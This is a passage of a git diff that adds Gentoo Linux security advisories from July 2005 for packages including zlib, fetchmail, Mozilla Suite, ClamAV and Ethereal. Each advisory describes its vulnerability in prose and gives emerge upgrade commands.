+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/mediawiki-1.4.7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2396">CAN-2005-2396</uri>
+    <uri link="http://sourceforge.net/project/shownotes.php?release_id=342530">MediaWiki Release Notes</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 18 Jul 2005 07:34:17 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 18 Jul 2005 07:34:40 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 18 Jul 2005 07:59:14 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200507-19.xml b/xml/htdocs/security/en/glsa/glsa-200507-19.xml
new file mode 100644
index 00000000..03b765f5
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200507-19.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200507-19">
+  <title>zlib: Buffer overflow</title>
+  <synopsis>
+    zlib is vulnerable to a buffer overflow which could potentially lead to
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">zlib</product>
+  <announced>July 22, 2005</announced>
+  <revised>July 22, 2005: 01</revised>
+  <bug>99751</bug>
+  <access>remote</access>
+  <affected>
+    <package name="sys-libs/zlib" auto="yes" arch="*">
+      <unaffected range="ge">1.2.3</unaffected>
+      <vulnerable range="lt">1.2.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    zlib is a widely used free and patent unencumbered data
+    compression library.
+    </p>
+  </background>
+  <description>
+    <p>
+    zlib improperly handles invalid data streams which could lead to a
+    buffer overflow.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    By creating a specially crafted compressed data stream, attackers
+    can overwrite data structures for applications that use zlib, resulting
+    in arbitrary code execution or a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All zlib users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-libs/zlib-1.2.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://archives.neohapsis.com/archives/fulldisclosure/2005-07/0489.html">Full Disclosure Announcement</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1849">CAN-2005-1849</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 21 Jul 2005 05:28:09 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 21 Jul 2005 07:38:10 +0000">
+    adir
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 21 Jul 2005 18:38:18 +0000">
+    adir
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200507-20.xml b/xml/htdocs/security/en/glsa/glsa-200507-20.xml
new file mode 100644
index 00000000..9f038dd5
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200507-20.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200507-20">
+  <title>Shorewall: Security policy bypass</title>
+  <synopsis>
+    A vulnerability in Shorewall allows clients authenticated by MAC address
+    filtering to bypass all other security rules.
+  </synopsis>
+  <product type="ebuild">shorewall</product>
+  <announced>July 22, 2005</announced>
+  <revised>September 14, 2005: 02</revised>
+  <bug>99398</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-firewall/shorewall" auto="yes" arch="*">
+      <unaffected range="ge">2.4.2</unaffected>
+      <vulnerable range="le">2.4.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Shorewall is a high level tool for configuring Netfilter, the firewall
+    facility included in the Linux Kernel.
+    </p>
+  </background>
+  <description>
+    <p>
+    Shorewall fails to enforce security policies if configured with
+    "MACLIST_DISPOSITION" set to "ACCEPT" or "MACLIST_TTL" set to a value
+    greater or equal to 0.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A client authenticated by MAC address filtering could bypass all
+    security policies, possibly allowing him to gain access to restricted
+    services. The default installation has MACLIST_DISPOSITION=REJECT and
+    MACLIST_TTL=(blank) (equivalent to 0). This can be checked by looking
+    at the settings in /etc/shorewall/shorewall.conf
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Set "MACLIST_TTL" to "0" and "MACLIST_DISPOSITION" to "REJECT" in the
+    Shorewall configuration file (usually /etc/shorewall/shorewall.conf).
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Shorewall users should upgrade to the latest available version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose net-firewall/shorewall</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2317">CAN-2005-2317</uri>
+    <uri link="http://www.shorewall.net/News.htm#20050717">Shorewall Announcement</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 20 Jul 2005 08:32:24 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 20 Jul 2005 09:04:23 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 21 Jul 2005 21:07:14 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200507-21.xml b/xml/htdocs/security/en/glsa/glsa-200507-21.xml
new file mode 100644
index 00000000..7062e6c2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200507-21.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200507-21">
+  <title>fetchmail: Buffer Overflow</title>
+  <synopsis>
+    fetchmail is susceptible to a buffer overflow resulting in a Denial of
+    Service or arbitrary code execution.
+  </synopsis>
+  <product type="ebuild">fetchmail</product>
+  <announced>July 25, 2005</announced>
+  <revised>July 25, 2005: 01</revised>
+  <bug>99865</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-mail/fetchmail" auto="yes" arch="*">
+      <unaffected range="ge">6.2.5.2</unaffected>
+      <vulnerable range="lt">6.2.5.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    fetchmail is a utility that retrieves and forwards mail from
+    remote systems using IMAP, POP, and other protocols.
+    </p>
+  </background>
+  <description>
+    <p>
+    fetchmail does not properly validate UIDs coming from a POP3 mail
+    server. The UID is placed in a fixed length buffer on the stack, which
+    can be overflown.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Very long UIDs returned from a malicious or compromised POP3
+    server can cause fetchmail to crash, resulting in a Denial of Service,
+    or allow arbitrary code to be placed on the stack.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are no known workarounds at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All fetchmail users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-mail/fetchmail-6.2.5.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://fetchmail.berlios.de/fetchmail-SA-2005-01.txt">Fetchmail Security Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2335">CAN-2005-2335</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri, 22 Jul 2005 05:37:13 +0000">
+    r2d2
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 24 Jul 2005 07:43:36 +0000">
+    adir
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200507-22.xml b/xml/htdocs/security/en/glsa/glsa-200507-22.xml
new file mode 100644
index 00000000..7d9cc3a2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200507-22.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200507-22">
+  <title>sandbox: Insecure temporary file handling</title>
+  <synopsis>
+    The sandbox utility may create temporary files in an insecure manner.
+  </synopsis>
+  <product type="ebuild">sandbox</product>
+  <announced>July 25, 2005</announced>
+  <revised>August 11, 2005: 02</revised>
+  <bug>96782</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-apps/sandbox" auto="yes" arch="*">
+      <unaffected range="ge">1.2.11</unaffected>
+      <vulnerable range="lt">1.2.11</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    sandbox is a Gentoo Linux utility used by the Portage package
+    management system.
+    </p>
+  </background>
+  <description>
+    <p>
+    The Gentoo Linux Security Audit Team discovered that the sandbox
+    utility was vulnerable to multiple TOCTOU (Time of Check, Time of Use)
+    file creation race conditions.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    Local users may be able to create or overwrite arbitrary files with the
+    permissions of the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All sandbox users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-apps/sandbox-1.2.11&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2449">CAN-2005-2449</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 23 Jul 2005 11:46:49 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 23 Jul 2005 12:17:37 +0000">
+    taviso
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 24 Jul 2005 07:49:01 +0000">
+    adir
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200507-23.xml b/xml/htdocs/security/en/glsa/glsa-200507-23.xml
new file mode 100644
index 00000000..9b2f3739
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200507-23.xml
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200507-23">
+  <title>Kopete: Vulnerability in included Gadu library</title>
+  <synopsis>
+    Kopete is vulnerable to several input validation vulnerabilities which may
+    lead to execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">kopete</product>
+  <announced>July 25, 2005</announced>
+  <revised>July 25, 2005: 01</revised>
+  <bug>99754</bug>
+  <access>remote</access>
+  <affected>
+    <package name="kde-base/kdenetwork" auto="yes" arch="*">
+      <unaffected range="ge">3.4.1-r1</unaffected>
+      <unaffected range="rge">3.3.2-r2</unaffected>
+      <vulnerable range="lt">3.4.1-r1</vulnerable>
+    </package>
+    <package name="kde-base/kopete" auto="yes" arch="*">
+      <unaffected range="ge">3.4.1-r1</unaffected>
+      <vulnerable range="lt">3.4.1-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    KDE is a feature-rich graphical desktop environment for Linux and
+    Unix-like Operating Systems. Kopete (also part of kdenetwork) is the
+    KDE Instant Messenger.
+    </p>
+  </background>
+  <description>
+    <p>
+    Kopete contains an internal copy of libgadu and is therefore
+    subject to several input validation vulnerabilities in libgadu.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit this vulnerability to execute
+    arbitrary code or crash Kopete.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Delete all Gadu Gadu contacts.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Kopete users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose kde-base/kdenetwork</code>
+    <p>
+    All KDE Split Ebuild Kopete users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=kde-base/kopete-3.4.1-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.kde.org/info/security/advisory-20050721-1.txt">KDE Security Advisory: libgadu vulnerabilities</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1852">CAN-2005-1852</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 21 Jul 2005 09:34:55 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 25 Jul 2005 17:39:48 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200507-24.xml b/xml/htdocs/security/en/glsa/glsa-200507-24.xml
new file mode 100644
index 00000000..b8ab7f74
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200507-24.xml
@@ -0,0 +1,112 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200507-24">
+  <title>Mozilla Suite: Multiple vulnerabilities</title>
+  <synopsis>
+    Several vulnerabilities in the Mozilla Suite allow attacks ranging from the
+    execution of javascript code with elevated privileges to information
+    leakage.
+  </synopsis>
+  <product type="ebuild">mozilla</product>
+  <announced>July 26, 2005</announced>
+  <revised>July 26, 2005: 01</revised>
+  <bug>98846</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/mozilla" auto="yes" arch="*">
+      <unaffected range="ge">1.7.10</unaffected>
+      <vulnerable range="lt">1.7.10</vulnerable>
+    </package>
+    <package name="www-client/mozilla-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.7.10</unaffected>
+      <vulnerable range="lt">1.7.10</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Mozilla Suite is an all-in-one Internet application suite
+    including a web browser, an advanced e-mail and newsgroup client, IRC
+    client and HTML editor.
+    </p>
+  </background>
+  <description>
+    <p>
+    The following vulnerabilities were found and fixed in the Mozilla
+    Suite:
+    </p>
+    <ul>
+    <li>"moz_bug_r_a4" and "shutdown" discovered that the
+    Mozilla Suite was improperly cloning base objects (MFSA 2005-56).</li>
+    <li>"moz_bug_r_a4" reported that the suite failed to validate XHTML DOM
+    nodes properly (MFSA 2005-55).</li>
+    <li>Secunia reported that alerts
+    and prompts scripts are presented with the generic title [JavaScript
+    Application] which could lead to tricking a user (MFSA 2005-54).</li>
+    <li>Andreas Sandblad of Secunia reported that top.focus() can be called
+    in the context of a child frame even if the framing page comes from a
+    different origin and has overridden the focus() routine (MFSA
+    2005-52).</li>
+    <li>Secunia reported that a frame-injection spoofing bug
+    which was fixed in earlier versions, was accidently bypassed in Mozilla
+    Suite 1.7.7 (MFSA 2005-51).</li>
+    <li>"shutdown" reported that
+    InstallVersion.compareTo() might be exploitable. When it gets an object
+    rather than a string, the browser would generally crash with an access
+    violation (MFSA 2005-50).</li>
+    <li>Matthew Mastracci reported that by
+    forcing a page navigation immediately after calling the install method
+    can end up running in the context of the new page selected by the
+    attacker (MFSA 2005-48).</li>
+    <li>"moz_bug_r_a4" reported that XBL
+    scripts run even when Javascript is disabled (MFSA 2005-46).</li>
+    <li>
+    Omar Khan, Jochen, "shutdown" and Matthew Mastracci reported that the
+    Mozilla Suite incorrectly distinguished between true events like mouse
+    clicks or keystrokes and synthetic events generated by a web content
+    (MFSA 2005-45).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could craft malicious web pages that would
+    leverage these issues to inject and execute arbitrary javascript code
+    with elevated privileges, steal cookies or other information from web
+    pages, or spoof content.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mozilla Suite users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-1.7.10&quot;</code>
+    <p>
+    All Mozilla Suite binary users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-bin-1.7.10&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.mozilla.org/projects/security/known-vulnerabilities.html#Mozilla">Mozilla Foundation Security Advisories</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 23 Jul 2005 18:08:05 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 23 Jul 2005 18:09:18 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 24 Jul 2005 07:24:03 +0000">
+    adir
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200507-25.xml b/xml/htdocs/security/en/glsa/glsa-200507-25.xml
new file mode 100644
index 00000000..0b2ea759
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200507-25.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200507-25">
+  <title>Clam AntiVirus: Integer overflows</title>
+  <synopsis>
+    Clam AntiVirus is vulnerable to integer overflows when handling several
+    file formats, potentially resulting in the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">clamav</product>
+  <announced>July 26, 2005</announced>
+  <revised>August 11, 2005: 02</revised>
+  <bug>100178</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-antivirus/clamav" auto="yes" arch="*">
+      <unaffected range="ge">0.86.2</unaffected>
+      <vulnerable range="lt">0.86.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Clam AntiVirus is a GPL anti-virus toolkit, designed for integration
+    with mail servers to perform attachment scanning. Clam AntiVirus also
+    provides a command line scanner and a tool for fetching updates of the
+    virus database.
+    </p>
+  </background>
+  <description>
+    <p>
+    Neel Mehta and Alex Wheeler discovered that Clam AntiVirus is
+    vulnerable to integer overflows when handling the TNEF, CHM and FSG
+    file formats.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    By sending a specially-crafted file an attacker could execute arbitrary
+    code with the permissions of the user running Clam AntiVirus.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Clam AntiVirus users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-antivirus/clamav-0.86.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2450">CAN-2005-2450</uri>
+    <uri link="http://sourceforge.net/project/shownotes.php?release_id=344514">Clam AntiVirus: Release Notes</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 25 Jul 2005 17:48:24 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 25 Jul 2005 19:44:22 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 26 Jul 2005 20:33:43 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200507-26.xml b/xml/htdocs/security/en/glsa/glsa-200507-26.xml
new file mode 100644
index 00000000..caf86243
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200507-26.xml
@@ -0,0 +1,115 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200507-26">
+  <title>GNU Gadu, CenterICQ, Kadu, EKG, libgadu: Remote code execution in Gadu library</title>
+  <synopsis>
+    GNU Gadu, CenterICQ, Kadu, EKG and libgadu are vulnerable to an integer
+    overflow which could potentially lead to the execution of arbitrary code or
+    a Denial of Service.
+  </synopsis>
+  <product type="ebuild">gnugadu centericq kadu ekg libgadu</product>
+  <announced>July 27, 2005</announced>
+  <revised>February 26, 2007: 02</revised>
+  <bug>99816</bug>
+  <bug>99890</bug>
+  <bug>99583</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-im/gnugadu" auto="yes" arch="*">
+      <unaffected range="ge">2.2.6-r1</unaffected>
+      <vulnerable range="lt">2.2.6-r1</vulnerable>
+    </package>
+    <package name="net-im/centericq" auto="yes" arch="*">
+      <unaffected range="ge">4.20.0-r3</unaffected>
+      <vulnerable range="lt">4.20.0-r3</vulnerable>
+    </package>
+    <package name="net-im/kadu" auto="yes" arch="*">
+      <unaffected range="ge">0.4.1</unaffected>
+      <vulnerable range="lt">0.4.1</vulnerable>
+    </package>
+    <package name="net-im/ekg" auto="yes" arch="*">
+      <unaffected range="ge">1.6_rc3</unaffected>
+      <vulnerable range="lt">1.6_rc3</vulnerable>
+    </package>
+    <package name="net-libs/libgadu" auto="yes" arch="*">
+      <unaffected range="ge">1.7.0_pre20050719</unaffected>
+      <vulnerable range="lt">1.7.0_pre20050719</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GNU Gadu, CenterICQ, Kadu and EKG are instant messaging applications
+    created to support Gadu Gadu instant messaging protocol. libgadu is a
+    library that implements the client side of the Gadu-Gadu protocol.
+    </p>
+  </background>
+  <description>
+    <p>
+    GNU Gadu, CenterICQ, Kadu, EKG and libgadu are vulnerable to an integer
+    overflow.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit the integer overflow to execute
+    arbitrary code or cause a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GNU Gadu users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-im/gnugadu-2.2.6-r1&quot;</code>
+    <p>
+    All Kadu users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-im/kadu-0.4.1&quot;</code>
+    <p>
+    All EKG users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-im/ekg-1.6_rc3&quot;</code>
+    <p>
+    All libgadu users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-libs/libgadu-20050719&quot;</code>
+    <p>
+    All CenterICQ users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-im/centericq-4.20.0-r3&quot;</code>
+    <p>
+    CenterICQ is no longer distributed with Gadu Gadu support, affected
+    users are encouraged to migrate to an alternative package.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1852">CAN-2005-1852</uri>
+    <uri link="http://www.securityfocus.com/archive/1/406026/30/">BugTraq Announcement</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 23 Jul 2005 12:05:13 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 23 Jul 2005 12:53:13 +0000">
+    adir
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 26 Jul 2005 19:58:40 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200507-27.xml b/xml/htdocs/security/en/glsa/glsa-200507-27.xml
new file mode 100644
index 00000000..e604d1a1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200507-27.xml
@@ -0,0 +1,81 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200507-27">
+  <title>Ethereal: Multiple vulnerabilities</title>
+  <synopsis>
+    Ethereal is vulnerable to numerous vulnerabilities potentially resulting in
+    the execution of arbitrary code or abnormal termination.
+  </synopsis>
+  <product type="ebuild">Ethereal</product>
+  <announced>July 28, 2005</announced>
+  <revised>July 28, 2005: 01</revised>
+  <bug>100316</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/ethereal" auto="yes" arch="*">
+      <unaffected range="ge">0.10.12</unaffected>
+      <vulnerable range="lt">0.10.12</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ethereal is a feature-rich network protocol analyzer.
+    </p>
+  </background>
+  <description>
+    <p>
+    There are numerous vulnerabilities in versions of Ethereal prior
+    to 0.10.12, including:
+    </p>
+    <ul>
+    <li>The SMB dissector could overflow a
+    buffer or exhaust memory (CAN-2005-2365).</li>
+    <li>iDEFENSE discovered
+    that several dissectors are vulnerable to format string overflows
+    (CAN-2005-2367).</li>
+    <li>Additionally multiple potential crashes in
+    many dissectors have been fixed, see References for further
+    details.</li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker might be able to use these vulnerabilities to crash
+    Ethereal or execute arbitrary code with the permissions of the user
+    running Ethereal, which could be the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Ethereal users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/ethereal-0.10.12&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.ethereal.com/appnotes/enpa-sa-00020.html">Ethereal enpa-sa-00020</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2360">CAN-2005-2360</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2361">CAN-2005-2361</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2362">CAN-2005-2362</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2363">CAN-2005-2363</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2364">CAN-2005-2364</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2365">CAN-2005-2365</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2366">CAN-2005-2366</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2367">CAN-2005-2367</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 26 Jul 2005 19:41:31 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 28 Jul 2005 05:33:45 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200507-28.xml b/xml/htdocs/security/en/glsa/glsa-200507-28.xml
new file mode 100644
index 00000000..eec04e84
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200507-28.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200507-28">
+  <title>AMD64 x86 emulation base libraries: Buffer overflow</title>
+  <synopsis>
+    The x86 emulation base libraries for AMD64 contain a vulnerable version of
+    zlib which could potentially lead to execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">emul-linux-x86-baselibs</product>
+  <announced>July 30, 2005</announced>
+  <revised>August 02, 2005: 02</revised>
+  <bug>100686</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-emulation/emul-linux-x86-baselibs" auto="yes" arch="AMD64">
+      <unaffected range="ge">2.1.2</unaffected>
+      <vulnerable range="lt">2.1.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The x86 emulation base libraries for AMD64 emulate the x86 (32-bit)
+    architecture on the AMD64 (64-bit) architecture.
+    </p>
+  </background>
+  <description>
+    <p>
+    Earlier versions of emul-linux-x86-baselibs contain a vulnerable
+    version of zlib, which may lead to a buffer overflow.
+    </p>
+  </description>
+  <impact type="high">
